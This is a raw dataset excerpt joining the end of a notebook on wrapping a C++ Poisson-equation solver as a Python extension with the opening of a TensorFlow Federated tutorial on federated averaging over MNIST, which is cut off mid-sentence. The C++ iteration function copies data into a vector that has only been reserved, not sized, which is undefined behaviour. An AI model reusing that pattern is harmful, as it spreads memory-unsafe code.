\"run_iterations\", pde_solve_cpp, METH_VARARGS, \"PDE solve with cpp\"\n#     },\n#     {NULL, NULL, 0, NULL}\n# };\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Module definition\n# ```C++\n# static struct PyModuleDef pde_solve_cpp_def =\n# {\n#     PyModuleDef_HEAD_INIT,\n#     \"pde_solve_cpp\",\n#     \"A Python extension module that calculates trace in C++ code.\",\n#     -1,\n#     pde_solve_cpp_method\n# };\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Lastly the PyInit function that completes it all.\n# ```C++\n# PyMODINIT_FUNC PyInit_pde_solve_cpp(void)\n# {\n#     Py_Initialize();\n#     import_array();\n#     return PyModule_Create(&pde_solve_cpp_def);\n# }\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Write all the code snippets to a file so that it can be compiled.\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %%file poissonPDE.cpp\n#include <Python.h>\n#include <numpy/arrayobject.h>\n#include <algorithm>\n#include <vector>\n#include <iostream>\n\nusing std::vector;\nusing std::cout;\nusing std::endl;\n\ntemplate<typename T>\nstatic PyObject* vector_to_2Dnparray(const vector<T>& vec, npy_intp* dims, int type_num)\n{\n    // note assumes row-major order, can either handle column-major at numpy level or with different API calls\n    // not empty\n    if( !vec.empty() ){\n        PyObject* vec_array = PyArray_SimpleNew(2, dims, type_num);\n        T *vec_array_pointer = (T*) PyArray_DATA(vec_array);\n\n        std::copy(vec.begin(), vec.end(), vec_array_pointer);\n        return vec_array;\n\n    // no data at all\n    } else {\n        npy_intp dims[1] = {0};\n        return (PyObject*) PyArray_ZEROS(1, dims, type_num, 0);\n    }\n\n}\n\nvoid\nphi_iteration_cpp(vector<double>& phi,\n                  const vector<double>& rho,\n                  const double h,\n                  const int rows,\n                  const int cols)\n{\n    vector<double> phi_now;\n    double finite_elem;\n    phi_now.reserve(phi.size());\n    std::copy(phi.begin(), phi.end(), phi_now.begin());\n\n    // do update equation\n    for(int i=1; i < rows - 1; ++i)\n    {\n        for(int j=1; j < cols - 1; ++j)\n        {\n            finite_elem =\n                   (-h*h * rho[i * cols + j] +\n                    phi_now[(i - 1) * cols + j] +\n                    phi_now[i * cols + (j - 1)] +\n                    phi_now[(i + 1) * cols + j] +\n                    phi_now[i * cols + (j + 1)]);\n            phi[i * cols + j] = 0.25 * finite_elem;\n        }\n    }\n}\n\nstatic PyObject*\npde_solve_cpp(PyObject *self, PyObject *args)\n{\n    // read in n_iter\n    int n_iter;\n    if (!PyArg_ParseTuple(args, \"i\", &n_iter))\n    {\n        std::cerr << \"Bad input parameters. Put in just n_iter.\" << std::endl;\n        return NULL;\n    }\n\n    // problem size\n    constexpr int sz = 101;\n    const int rows = sz;\n    const int cols = sz;\n    vector<double> phi(rows * cols, 0.0);  // initialize with 0s\n    // fill last row with 100.0 BC\n    std::fill(phi.begin() + (rows - 1)*cols,\n              phi.end(), 100.0);\n    // make last column 100.0 BC\n    for (int i = 0; i < rows; ++i)\n    {\n        phi[i * cols + cols - 1] = 100.0;\n    }\n    double h = 1 / (static_cast<double>(sz) - 1);  // step size\n    // initialize source term and apply BC\n    vector<double> rho(rows * cols, 0.0);\n    rho[rows/2 * cols + cols/2] = -100.0 / (h * h);\n    for(auto i = 0; i < n_iter; ++i)\n    {\n        phi_iteration_cpp(phi, rho, h, rows, cols);\n    }\n\n    // point to array for np to make Python object\n    npy_intp dims[2]{rows, cols};\n    PyObject* phi_np = vector_to_2Dnparray(phi, dims, NPY_DOUBLE);\n    return phi_np;\n}\n\nstatic PyMethodDef\npde_solve_cpp_method[] =\n{\n    {\n        \"run_iterations\", pde_solve_cpp, METH_VARARGS, \"PDE solve with cpp\"\n    },\n    {NULL, NULL, 0, NULL}\n};\n\nstatic struct PyModuleDef pde_solve_cpp_def =\n{\n    PyModuleDef_HEAD_INIT,\n    \"pde_solve_cpp\",\n    \"A Python extension module that calculates trace in C++ code.\",\n    -1,\n    pde_solve_cpp_method\n};\n\nPyMODINIT_FUNC PyInit_pde_solve_cpp(void)\n{\n    Py_Initialize();\n    import_array();\n    return PyModule_Create(&pde_solve_cpp_def);\n}\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Easiest way to compile into a useable shared object is to make a setup script\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %%file setup_cpp.py\nfrom distutils.core import setup, Extension\n\ndef configuration(parent_package='', top_path=None):\n    import numpy\n    from numpy.distutils.misc_util import Configuration\n    from numpy.distutils.misc_util import get_info\n\n    config = Configuration('',\n                           parent_package,\n                           top_path)\n    config.add_extension('pde_solve_cpp',\n                         sources=['poissonPDE.cpp'],\n                         extra_compile_args=['-std=c++11'])\n\n    return config\n\nif __name__ == \"__main__\":\n    from numpy.distutils.core import setup\n    setup(configuration=configuration)\n\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Then compile the code\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# !python setup_cpp.py build_ext --inplace\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Woohoo, finally at the point where the cpp function can be imported!\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nimport pde_solve_cpp\nimport numpy as np\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# ...and time it!\n# %timeit -r 2 -n 500 pde_solve_cpp.run_iterations(n_iter)\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Plot to make sure everything looks good\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nphi_soln_cpp = pde_solve_cpp.run_iterations(n_iter)\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nimport matplotlib.pyplot as plt\nplt.figure()\nplt.imshow(phi_soln_cpp, origin='lower')\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ## Conclusion\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Hopefully this has been able to convince you to take the plunge into Python. Things are really pretty simple (other than wrapping C++ with CPython and Numpy API). If you have questions, please feel free to contact me.\n", "meta": {"hexsha": "0d3ec266c50d32da7ce7244014ab6cc5f115c6b7", "size": 82128, "ext": "py", "lang": "Python", "max_stars_repo_path": "SWTP-PythonAlgDev.py", "max_stars_repo_name": "adholmgren/python_algdev", "max_stars_repo_head_hexsha": "acb2bdc0185221922ed3fc09b7ae4daba912c05c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "SWTP-PythonAlgDev.py", "max_issues_repo_name": "adholmgren/python_algdev", "max_issues_repo_head_hexsha": "acb2bdc0185221922ed3fc09b7ae4daba912c05c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "SWTP-PythonAlgDev.py", "max_forks_repo_name": "adholmgren/python_algdev", "max_forks_repo_head_hexsha": "acb2bdc0185221922ed3fc09b7ae4daba912c05c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.3745856354, "max_line_length": 557, "alphanum_fraction": 0.6528345996, "include": true, "reason": "import numpy,from numpy,from numba", "num_tokens": 23834, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.35577489351363034, "lm_q2_score": 0.15610489744545739, "lm_q1q2_score": 0.05553820326561379}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"Custom Federated Algorithms, Part 2: Implementing Federated Averaging\n\nAutomatically generated by Colaboratory.\n\nOriginal file is located at\n    https://colab.research.google.com/github/tensorflow/federated/blob/master/docs/tutorials/custom_federated_algorithms_2.ipynb\n\n##### Copyright 2019 The TensorFlow Authors.\n\"\"\"\n\n#@title Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"# Custom Federated Algorithms, Part 2: Implementing Federated Averaging\n\n<table class=\"tfo-notebook-buttons\" align=\"left\">\n  <td>\n    <a target=\"_blank\" href=\"https://www.tensorflow.org/federated/tutorials/custom_federated_algorithms_2\"><img src=\"https://www.tensorflow.org/images/tf_logo_32px.png\" />View on TensorFlow.org</a>\n  </td>\n  <td>\n    <a target=\"_blank\" href=\"https://colab.research.google.com/github/tensorflow/federated/blob/master/docs/tutorials/custom_federated_algorithms_2.ipynb\"><img src=\"https://www.tensorflow.org/images/colab_logo_32px.png\" />Run in Google Colab</a>\n  </td>\n  <td>\n    <a target=\"_blank\" href=\"https://github.com/tensorflow/federated/blob/master/docs/tutorials/custom_federated_algorithms_2.ipynb\"><img src=\"https://www.tensorflow.org/images/GitHub-Mark-32px.png\" />View source on GitHub</a>\n  </td>\n  <td>\n    <a href=\"https://storage.googleapis.com/tensorflow_docs/federated/docs/tutorials/custom_federated_algorithms_2.ipynb\"><img src=\"https://www.tensorflow.org/images/download_logo_32px.png\" />Download notebook</a>\n  </td>\n</table>\n\nThis tutorial is the second part of a two-part series that demonstrates how to\nimplement custom types of federated algorithms in TFF using the\n[Federated Core (FC)](../federated_core.md), which serves as a foundation for\nthe [Federated Learning (FL)](../federated_learning.md) layer (`tff.learning`).\n\nWe encourage you to first read the\n[first part of this series](custom_federated_algorithms_1.ipynb), which\nintroduce some of the key concepts and programming abstractions used here.\n\nThis second part of the series uses the mechanisms introduced in the first part\nto implement a simple version of federated training and evaluation algorithms.\n\nWe encourage you to review the\n[image classification](federated_learning_for_image_classification.ipynb) and\n[text generation](federated_learning_for_text_generation.ipynb) tutorials for a\nhigher-level and more gentle introduction to TFF's Federated Learning APIs, as\nthey will help you put the concepts we describe here in context.\n\n## Before we start\n\nBefore we start, try to run the following \"Hello World\" example to make sure\nyour environment is correctly setup. If it doesn't work, please refer to the\n[Installation](../install.md) guide for instructions.\n\"\"\"\n\n#@test {\"skip\": true}\n# !pip install --quiet --upgrade tensorflow-federated\n# !pip install --quiet --upgrade nest-asyncio\n\nimport nest_asyncio\nnest_asyncio.apply()\n\nimport collections\n\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow_federated as tff\n\n# TODO(b/148678573,b/148685415): must use the reference context because it\n# supports unbounded references and tff.sequence_* intrinsics.\ntff.backends.reference.set_reference_context()\n\n@tff.federated_computation\ndef hello_world():\n  return 'Hello, World!'\n\nhello_world()\n\n\"\"\"## Implementing Federated Averaging\n\nAs in\n[Federated Learning for Image Classification](federated_learning_for_image_classification.ipynb),\nwe are going to use the MNIST example, but since this is intended as a low-level\ntutorial, we are going to bypass the Keras API and `tff.simulation`, write raw\nmodel code, and construct a federated data set from scratch.\n\n### Preparing federated data sets\n\nFor the sake of a demonstration, we're going to simulate a scenario in which we\nhave data from 10 users, and each of the users contributes knowledge how to\nrecognize a different digit. This is about as\nnon-[i.i.d.](https://en.wikipedia.org/wiki/Independent_and_identically_distributed_random_variables)\nas it gets.\n\nFirst, let's load the standard MNIST data:\n\"\"\"\n\nmnist_train, mnist_test = tf.keras.datasets.mnist.load_data()\n\n[(x.dtype, x.shape) for x in mnist_train]\n\n\"\"\"The data comes as Numpy arrays, one with images and another with digit labels, both\nwith the first dimension going over the individual examples. Let's write a\nhelper function that formats it in a way compatible with how we feed federated\nsequences into TFF computations, i.e., as a list of lists - the outer list\nranging over the users (digits), the inner ones ranging over batches of data in\neach client's sequence. As is customary, we will structure each batch as a pair\nof tensors named `x` and `y`, each with the leading batch dimension. While at\nit, we'll also flatten each image into a 784-element vector and rescale the\npixels in it into the `0..1` range, so that we don't have to clutter the model\nlogic with data conversions.\n\"\"\"\n\nNUM_EXAMPLES_PER_USER = 1000\nBATCH_SIZE = 100\n\n\ndef get_data_for_digit(source, digit):\n  output_sequence = []\n  all_samples = [i for i, d in enumerate(source[1]) if d == digit]\n  for i in range(0, min(len(all_samples), NUM_EXAMPLES_PER_USER), BATCH_SIZE):\n    batch_samples = all_samples[i:i + BATCH_SIZE]\n    output_sequence.append({\n        'x':\n            np.array([source[0][i].flatten() / 255.0 for i in batch_samples],\n                     dtype=np.float32),\n        'y':\n            np.array([source[1][i] for i in batch_samples], dtype=np.int32)\n    })\n  return output_sequence\n\n\nfederated_train_data = [get_data_for_digit(mnist_train, d) for d in range(10)]\n\nfederated_test_data = [get_data_for_digit(mnist_test, d) for d in range(10)]\n\n\"\"\"As a quick sanity check, let's look at the `Y` tensor in the last batch of data\ncontributed by the fifth client (the one corresponding to the digit `5`).\n\"\"\"\n\nfederated_train_data[5][-1]['y']\n\n\"\"\"Just to be sure, let's also look at the image corresponding to the last element of that batch.\"\"\"\n\nfrom matplotlib import pyplot as plt\n\nplt.imshow(federated_train_data[5][-1]['x'][-1].reshape(28, 28), cmap='gray')\nplt.grid(False)\nplt.show()\n\n\"\"\"### On combining TensorFlow and TFF\n\nIn this tutorial, for compactness we immediately decorate functions that\nintroduce TensorFlow logic with `tff.tf_computation`. However, for more complex\nlogic, this is not the pattern we recommend. Debugging TensorFlow can already be\na challenge, and debugging TensorFlow after it has been fully serialized and\nthen re-imported necessarily loses some metadata and limits interactivity,\nmaking debugging even more of a challenge.\n\nTherefore, **we strongly recommend writing complex TF logic as stand-alone\nPython functions** (that is, without `tff.tf_computation` decoration). This way\nthe TensorFlow logic can be developed and tested using TF best practices and\ntools (like eager mode), before serializing the computation for TFF (e.g., by invoking `tff.tf_computation` with a Python function as the argument).\n\n### Defining a loss function\n\nNow that we have the data, let's define a loss function that we can use for\ntraining. First, let's define the type of input as a TFF named tuple. Since the\nsize of data batches may vary, we set the batch dimension to `None` to indicate\nthat the size of this dimension is unknown.\n\"\"\"\n\nBATCH_SPEC = collections.OrderedDict(\n    x=tf.TensorSpec(shape=[None, 784], dtype=tf.float32),\n    y=tf.TensorSpec(shape=[None], dtype=tf.int32))\nBATCH_TYPE = tff.to_type(BATCH_SPEC)\n\nstr(BATCH_TYPE)\n\n\"\"\"You may be wondering why we can't just define an ordinary Python type. Recall\nthe discussion in [part 1](custom_federated_algorithms_1.ipynb), where we\nexplained that while we can express the logic of TFF computations using Python,\nunder the hood TFF computations *are not* Python. The symbol `BATCH_TYPE`\ndefined above represents an abstract TFF type specification. It is important to\ndistinguish this *abstract* TFF type from concrete Python *representation*\ntypes, e.g., containers such as `dict` or `collections.namedtuple` that may be\nused to represent the TFF type in the body of a Python function. Unlike Python,\nTFF has a single abstract type constructor `tff.StructType` for tuple-like\ncontainers, with elements that can be individually named or left unnamed. This\ntype is also used to model formal parameters of computations, as TFF\ncomputations can formally only declare one parameter and one result - you will\nsee examples of this shortly.\n\nLet's now define the TFF type of model parameters, again as a TFF named tuple of\n*weights* and *bias*.\n\"\"\"\n\nMODEL_SPEC = collections.OrderedDict(\n    weights=tf.TensorSpec(shape=[784, 10], dtype=tf.float32),\n    bias=tf.TensorSpec(shape=[10], dtype=tf.float32))\nMODEL_TYPE = tff.to_type(MODEL_SPEC)\n\nprint(MODEL_TYPE)\n\n\"\"\"With those definitions in place, now we can define the loss for a given model, over a single batch. Note the usage of `@tf.function` decorator inside the `@tff.tf_computation` decorator. This allows us to write TF using Python like semantics even though were inside a `tf.Graph` context created by the `tff.tf_computation` decorator.\"\"\"\n\n# NOTE: `forward_pass` is defined separately from `batch_loss` so that it can \n# be later called from within another tf.function. Necessary because a\n# @tf.function  decorated method cannot invoke a @tff.tf_computation.\n\n@tf.function\ndef forward_pass(model, batch):\n  predicted_y = tf.nn.softmax(\n      tf.matmul(batch['x'], model['weights']) + model['bias'])\n  return -tf.reduce_mean(\n      tf.reduce_sum(\n          tf.one_hot(batch['y'], 10) * tf.math.log(predicted_y), axis=[1]))\n\n@tff.tf_computation(MODEL_TYPE, BATCH_TYPE)\ndef batch_loss(model, batch):\n  return forward_pass(model, batch)\n\n\"\"\"As expected, computation `batch_loss` returns `float32` loss given the model and\na single data batch. Note how the `MODEL_TYPE` and `BATCH_TYPE` have been lumped\ntogether into a 2-tuple of formal parameters; you can recognize the type of\n`batch_loss` as `(<MODEL_TYPE,BATCH_TYPE> -> float32)`.\n\"\"\"\n\nstr(batch_loss.type_signature)\n\n\"\"\"As a sanity check, let's construct an initial model filled with zeros and\ncompute the loss over the batch of data we visualized above.\n\"\"\"\n\ninitial_model = collections.OrderedDict(\n    weights=np.zeros([784, 10], dtype=np.float32),\n    bias=np.zeros([10], dtype=np.float32))\n\nsample_batch = federated_train_data[5][-1]\n\nbatch_loss(initial_model, sample_batch)\n\n\"\"\"Note that we feed the TFF computation with the initial model defined as a\n`dict`, even though the body of the Python function that defines it consumes\nmodel parameters as `model['weight']` and `model['bias']`. The arguments of the call\nto `batch_loss` aren't simply passed to the body of that function.\n\n\nWhat happens when we invoke `batch_loss`?\nThe Python body of `batch_loss` has already been traced and serialized  in the above cell where it was defined.  TFF acts as the caller to `batch_loss`\nat the computation definition time, and as the target of invocation at the time\n`batch_loss` is invoked. In both roles, TFF serves as the bridge between TFF's\nabstract type system and Python representation types. At the invocation time,\nTFF will accept most standard Python container types (`dict`, `list`, `tuple`,\n`collections.namedtuple`, etc.) as concrete representations of abstract TFF\ntuples. Also, although as noted above, TFF computations formally only accept a\nsingle parameter, you can use the familiar Python call syntax with positional\nand/or keyword arguments in case where the type of the parameter is a tuple - it\nworks as expected.\n\n### Gradient descent on a single batch\n\nNow, let's define a computation that uses this loss function to perform a single\nstep of gradient descent. Note how in defining this function, we use\n`batch_loss` as a subcomponent. You can invoke a computation constructed with\n`tff.tf_computation` inside the body of another computation, though typically\nthis is not necessary - as noted above, because serialization looses some\ndebugging information, it is often preferable for more complex computations to\nwrite and test all the TensorFlow without the `tff.tf_computation` decorator.\n\"\"\"\n\n@tff.tf_computation(MODEL_TYPE, BATCH_TYPE, tf.float32)\ndef batch_train(initial_model, batch, learning_rate):\n  # Define a group of model variables and set them to `initial_model`. Must\n  # be defined outside the @tf.function.\n  model_vars = collections.OrderedDict([\n      (name, tf.Variable(name=name, initial_value=value))\n      for name, value in initial_model.items()\n  ])\n  optimizer = tf.keras.optimizers.SGD(learning_rate)\n\n  @tf.function\n  def _train_on_batch(model_vars, batch):\n    # Perform one step of gradient descent using loss from `batch_loss`.\n    with tf.GradientTape() as tape:\n      loss = forward_pass(model_vars, batch)\n    grads = tape.gradient(loss, model_vars)\n    optimizer.apply_gradients(\n        zip(tf.nest.flatten(grads), tf.nest.flatten(model_vars)))\n    return model_vars\n\n  return _train_on_batch(model_vars, batch)\n\nstr(batch_train.type_signature)\n\n\"\"\"When you invoke a Python function decorated with `tff.tf_computation` within the\nbody of another such function, the logic of the inner TFF computation is\nembedded (essentially, inlined) in the logic of the outer one. As noted above,\nif you are writing both computations, it is likely preferable to make the inner\nfunction (`batch_loss` in this case) a regular Python or `tf.function` rather\nthan a `tff.tf_computation`. However, here we illustrate that calling one\n`tff.tf_computation` inside another basically works as expected. This may be\nnecessary if, for example, you do not have the Python code defining\n`batch_loss`, but only its serialized TFF representation.\n\nNow, let's apply this function a few times to the initial model to see whether\nthe loss decreases.\n\"\"\"\n\nmodel = initial_model\nlosses = []\nfor _ in range(5):\n  model = batch_train(model, sample_batch, 0.1)\n  losses.append(batch_loss(model, sample_batch))\n\nlosses\n\n\"\"\"### Gradient descent on a sequence of local data\n\nNow, since `batch_train` appears to work, let's write a similar training\nfunction `local_train` that consumes the entire sequence of all batches from one\nuser instead of just a single batch. The new computation will need to now\nconsume `tff.SequenceType(BATCH_TYPE)` instead of `BATCH_TYPE`.\n\"\"\"\n\nLOCAL_DATA_TYPE = tff.SequenceType(BATCH_TYPE)\n\n@tff.federated_computation(MODEL_TYPE, tf.float32, LOCAL_DATA_TYPE)\ndef local_train(initial_model, learning_rate, all_batches):\n\n  # Mapping function to apply to each batch.\n  @tff.federated_computation(MODEL_TYPE, BATCH_TYPE)\n  def batch_fn(model, batch):\n    return batch_train(model, batch, learning_rate)\n\n  return tff.sequence_reduce(all_batches, initial_model, batch_fn)\n\nstr(local_train.type_signature)\n\n\"\"\"There are quite a few details buried in this short section of code, let's go\nover them one by one.\n\nFirst, while we could have implemented this logic entirely in TensorFlow,\nrelying on `tf.data.Dataset.reduce` to process the sequence similarly to how\nwe've done it earlier, we've opted this time to express the logic in the glue\nlanguage, as a `tff.federated_computation`. We've used the federated operator\n`tff.sequence_reduce` to perform the reduction.\n\nThe operator `tff.sequence_reduce` is used similarly to\n`tf.data.Dataset.reduce`. You can think of it as essentially the same as\n`tf.data.Dataset.reduce`, but for use inside federated computations, which as\nyou may remember, cannot contain TensorFlow code. It is a template operator with\na formal parameter 3-tuple that consists of a *sequence* of `T`-typed elements,\nthe initial state of the reduction (we'll refer to it abstractly as *zero*) of\nsome type `U`, and the *reduction operator* of type `(<U,T> -> U)` that alters the\nstate of the reduction by processing a single element. The result is the final\nstate of the reduction, after processing all elements in a sequential order. In\nour example, the state of the reduction is the model trained on a prefix of the\ndata, and the elements are data batches.\n\nSecond, note that we have again used one computation (`batch_train`) as a\ncomponent within another (`local_train`), but not directly. We can't use it as a\nreduction operator because it takes an additional parameter - the learning rate.\nTo resolve this, we define an embedded federated computation `batch_fn` that\nbinds to the `local_train`'s parameter `learning_rate` in its body. It is\nallowed for a child computation defined this way to capture a formal parameter\nof its parent as long as the child computation is not invoked outside the body\nof its parent. You can think of this pattern as an equivalent of\n`functools.partial` in Python.\n\nThe practical implication of capturing `learning_rate` this way is, of course,\nthat the same learning rate value is used across all batches.\n\nNow, let's try the newly defined local training function on the entire sequence\nof data from the same user who contributed the sample batch (digit `5`).\n\"\"\"\n\nlocally_trained_model = local_train(initial_model, 0.1, federated_train_data[5])\n\n\"\"\"Did it work? To answer this question, we need to implement evaluation.\n\n### Local evaluation\n\nHere's one way to implement local evaluation by adding up the losses across all data\nbatches (we could have just as well computed the average; we'll leave it as an\nexercise for the reader).\n\"\"\"\n\n@tff.federated_computation(MODEL_TYPE, LOCAL_DATA_TYPE)\ndef local_eval(model, all_batches):\n  # TODO(b/120157713): Replace with `tff.sequence_average()` once implemented.\n  return tff.sequence_sum(\n      tff.sequence_map(\n          tff.federated_computation(lambda b: batch_loss(model, b), BATCH_TYPE),\n          all_batches))\n\nstr(local_eval.type_signature)\n\n\"\"\"Again, there are a few new elements illustrated by this code, let's go over them\none by one.\n\nFirst, we have used two new federated operators for processing sequences:\n`tff.sequence_map` that takes a *mapping function* `T->U` and a *sequence* of\n`T`, and emits a sequence of `U` obtained by applying the mapping function\npointwise, and `tff.sequence_sum` that just adds all the elements. Here, we map\neach data batch to a loss value, and then add the resulting loss values to\ncompute the total loss.\n\nNote that we could have again used `tff.sequence_reduce`, but this wouldn't be\nthe best choice - the reduction process is, by definition, sequential, whereas\nthe mapping and sum can be computed in parallel. When given a choice, it's best\nto stick with operators that don't constrain implementation choices, so that\nwhen our TFF computation is compiled in the future to be deployed to a specific\nenvironment, one can take full advantage of all potential opportunities for a\nfaster, more scalable, more resource-efficient execution.\n\nSecond, note that just as in `local_train`, the component function we need\n(`batch_loss`) takes more parameters than what the federated operator\n(`tff.sequence_map`) expects, so we again define a partial, this time inline by\ndirectly wrapping a `lambda` as a `tff.federated_computation`. Using wrappers\ninline with a function as an argument is the recommended way to use\n`tff.tf_computation` to embed TensorFlow logic in TFF.\n\nNow, let's see whether our training worked.\n\"\"\"\n\nprint('initial_model loss =', local_eval(initial_model,\n                                         federated_train_data[5]))\nprint('locally_trained_model loss =',\n      local_eval(locally_trained_model, federated_train_data[5]))\n\n\"\"\"Indeed, the loss decreased. But what happens if we evaluated it on another\nuser's data?\n\"\"\"\n\nprint('initial_model loss =', local_eval(initial_model,\n                                         federated_train_data[0]))\nprint('locally_trained_model loss =',\n      local_eval(locally_trained_model, federated_train_data[0]))\n\n\"\"\"As expected, things got worse. The model was trained to recognize `5`, and has\nnever seen a `0`. This brings the question - how did the local training impact\nthe quality of the model from the global perspective?\n\n### Federated evaluation\n\nThis is the point in our journey where we finally circle back to federated types\nand federated computations - the topic that we started with. Here's a pair of\nTFF types definitions for the model that originates at the server, and the data\nthat remains on the clients.\n\"\"\"\n\nSERVER_MODEL_TYPE = tff.type_at_server(MODEL_TYPE)\nCLIENT_DATA_TYPE = tff.type_at_clients(LOCAL_DATA_TYPE)\n\n\"\"\"With all the definitions introduced so far, expressing federated evaluation in\nTFF is a one-liner - we distribute the model to clients, let each client invoke\nlocal evaluation on its local portion of data, and then average out the loss.\nHere's one way to write this.\n\"\"\"\n\n@tff.federated_computation(SERVER_MODEL_TYPE, CLIENT_DATA_TYPE)\ndef federated_eval(model, data):\n  return tff.federated_mean(\n      tff.federated_map(local_eval, [tff.federated_broadcast(model), data]))\n\n\"\"\"We've already seen examples of `tff.federated_mean` and `tff.federated_map`\nin simpler scenarios, and at the intuitive level, they work as expected, but\nthere's more in this section of code than meets the eye, so let's go over it\ncarefully.\n\nFirst, let's break down the *let each client invoke local evaluation on its\nlocal portion of data* part. As you may recall from the preceding sections,\n`local_eval` has a type signature of the form `(<MODEL_TYPE, LOCAL_DATA_TYPE> ->\nfloat32)`.\n\nThe federated operator `tff.federated_map` is a template that accepts as a\nparameter a 2-tuple that consists of the *mapping function* of some type `T->U`\nand a federated value of type `{T}@CLIENTS` (i.e., with member constituents of\nthe same type as the parameter of the mapping function), and returns a result of\ntype `{U}@CLIENTS`.\n\nSince we're feeding `local_eval` as a mapping function to apply on a per-client\nbasis, the second argument should be of a federated type `{<MODEL_TYPE,\nLOCAL_DATA_TYPE>}@CLIENTS`, i.e., in the nomenclature of the preceding sections,\nit should be a federated tuple. Each client should hold a full set of arguments\nfor `local_eval` as a member consituent. Instead, we're feeding it a 2-element\nPython `list`. What's happening here?\n\nIndeed, this is an example of an *implicit type cast* in TFF, similar to\nimplicit type casts you may have encountered elsewhere, e.g., when you feed an\n`int` to a function that accepts a `float`. Implicit casting is used scarcily at\nthis point, but we plan to make it more pervasive in TFF as a way to minimize\nboilerplate.\n\nThe implicit cast that's applied in this case is the equivalence between\nfederated tuples of the form `{<X,Y>}@Z`, and tuples of federated values\n`<{X}@Z,{Y}@Z>`. While formally, these two are different type signatures,\nlooking at it from the programmers's perspective, each device in `Z` holds two\nunits of data `X` and `Y`. What happens here is not unlike `zip` in Python, and\nindeed, we offer an operator `tff.federated_zip` that allows you to perform such\nconversions explicity. When the `tff.federated_map` encounters a tuple as a\nsecond argument, it simply invokes `tff.federated_zip` for you.\n\nGiven the above, you should now be able to recognize the expression\n`tff.federated_broadcast(model)` as representing a value of TFF type\n`{MODEL_TYPE}@CLIENTS`, and `data` as a value of TFF type\n`{LOCAL_DATA_TYPE}@CLIENTS` (or simply `CLIENT_DATA_TYPE`), the two getting\nfiltered together through an implicit `tff.federated_zip` to form the second\nargument to `tff.federated_map`.\n\nThe operator `tff.federated_broadcast`, as you'd expect, simply transfers data\nfrom the server to the clients.\n\nNow, let's see how our local training affected the average loss in the system.\n\"\"\"\n\nprint('initial_model loss =', federated_eval(initial_model,\n                                             federated_train_data))\nprint('locally_trained_model loss =',\n      federated_eval(locally_trained_model, federated_train_data))\n\n\"\"\"Indeed, as expected, the loss has increased. In order to improve the model for\nall users, we'll need to train in on everyone's data.\n\n### Federated training\n\nThe simplest way to implement federated training is to locally train, and then\naverage the models. This uses the same building blocks and patters we've already\ndiscussed, as you can see below.\n\"\"\"\n\nSERVER_FLOAT_TYPE = tff.type_at_server(tf.float32)\n\n\n@tff.federated_computation(SERVER_MODEL_TYPE, SERVER_FLOAT_TYPE,\n                           CLIENT_DATA_TYPE)\ndef federated_train(model, learning_rate, data):\n  return tff.federated_mean(\n      tff.federated_map(local_train, [\n          tff.federated_broadcast(model),\n          tff.federated_broadcast(learning_rate), data\n      ]))\n\n\"\"\"Note that in the full-featured implementation of Federated Averaging provided by\n`tff.learning`, rather than averaging the models, we prefer to average model\ndeltas, for a number of reasons, e.g., the ability to clip the update norms,\nfor compression, etc.\n\nLet's see whether the training works by running a few rounds of training and\ncomparing the average loss before and after.\n\"\"\"\n\nmodel = initial_model\nlearning_rate = 0.1\nfor round_num in range(5):\n  model = federated_train(model, learning_rate, federated_train_data)\n  learning_rate = learning_rate * 0.9\n  loss = federated_eval(model, federated_train_data)\n  print('round {}, loss={}'.format(round_num, loss))\n\n\"\"\"For completeness, let's now also run on the test data to confirm that our model\ngeneralizes 